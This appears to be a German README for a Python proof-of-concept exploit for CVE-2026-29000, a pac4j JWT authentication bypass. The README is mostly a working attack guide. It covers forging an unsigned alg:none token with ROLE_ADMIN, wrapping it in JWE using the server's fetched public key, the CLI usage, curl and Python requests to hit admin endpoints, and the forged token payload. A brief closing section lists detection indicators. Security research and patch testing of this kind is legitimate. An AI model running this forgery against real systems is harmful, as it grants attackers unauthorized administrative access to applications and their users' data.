
Python-POC, Exploit für CVE-2026-29000
Proof of Concept für CVE-2026-29000 – Eine kritische Authentifizierungs-Umgehungsschwachstelle in der pac4j-JWT-Implementierung, die es Angreifern ermöglicht, Admin-Token ohne gültige Signatur zu fälschen.
Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Der Autor übernimmt KEINE Verantwortung für Missbrauch, Schäden oder illegale Verwendung dieses Exploits.
Diese Schwachstelle nutzt einen Fehler im JWT-Authentifizierungsmechanismus von pac4j aus, bei dem die Bibliothek:
alg: "none" im JWT-Header akzeptiertEin Angreifer kann ein unsigniertes JWT mit beliebigen Claims (wie role: "ROLE_ADMIN") erstellen, es in einem JWE-Container mit dem öffentlichen Schlüssel des Servers verschlüsseln und unbefugten Zugriff auf Admin-Funktionen erhalten.
Damit dieser Exploit erfolgreich ist, muss der Zielserver ALLE der folgenden Bedingungen erfüllen:
Der Server muss seine öffentlichen Schlüssel über einen dieser Endpunkte bereitstellen:
/.well-known/jwks.json (standardmäßiger OAuth/OIDC-Endpunkt)/api/auth/jwks (benutzerdefinierter Endpunkt)Warum: Der Exploit ruft automatisch den öffentlichen Schlüssel des Servers ab, um das gefälschte JWE-Token zu verschlüsseln.
Der Server muss:
role-Claim in der JWT-Nutzlast akzeptieren und verarbeitenROLE_ADMIN)Häufige Rollen:
ROLE_ADMIN – Vollständiger AdministrationszugriffROLE_USER – Standard-BenutzerzugriffDer Server muss:
Die Anwendung muss pac4j verwenden mit:
"none" gesetzt oder unzureichender Algorithmus-Validierungrequests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Beispiel:
python3 exploit.py http://vulnerable-app.local:8080
Das Skript wird:
role: "ROLE_ADMIN" erzeugenpython3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Wenn der JWKS-Endpunkt nicht öffentlich zugänglich ist, stellen Sie den JWK manuell bereit:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
Der Exploit gibt ein JWE-Token im folgenden Format aus:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Verwenden Sie das Token in HTTP-Anfragen, um auf geschützte Endpunkte zuzugreifen:
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
Das JWT wird ohne Signatur (alg: "none") erstellt, was normalerweise ungültig ist, aber von verwundbaren Servern akzeptiert wird.
Der Exploit fragt ab:
/.well-known/jwks.json (OAuth/OIDC-Standard)/api/auth/jwks (benutzerdefinierter Endpunkt)Dies ruft den für die Verschlüsselung benötigten RSA-öffentlichen Schlüssel des Servers ab.
Das unsignierte JWT wird verschlüsselt mit:
Dies erzeugt ein JWE-Token, das der Server entschlüsseln kann, dessen innere Signatur jedoch nicht geprüft wird.
Das JWE-Token wird in den Authorization-Header eingefügt:
Authorization: Bearer <JWE_TOKEN>
Der verwundbare Server entschlüsselt es und extrahiert das unsignierte JWT, wobei er den Claims vertraut, ohne die Signatur zu überprüfen.
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
Offengelegter JWKS-Endpunkt
/.well-known/jwks.json oder /api/auth/jwks öffentlich zugänglich istJWT-Validierungsprotokolle
alg: "none" akzeptierenKonfigurationsprüfung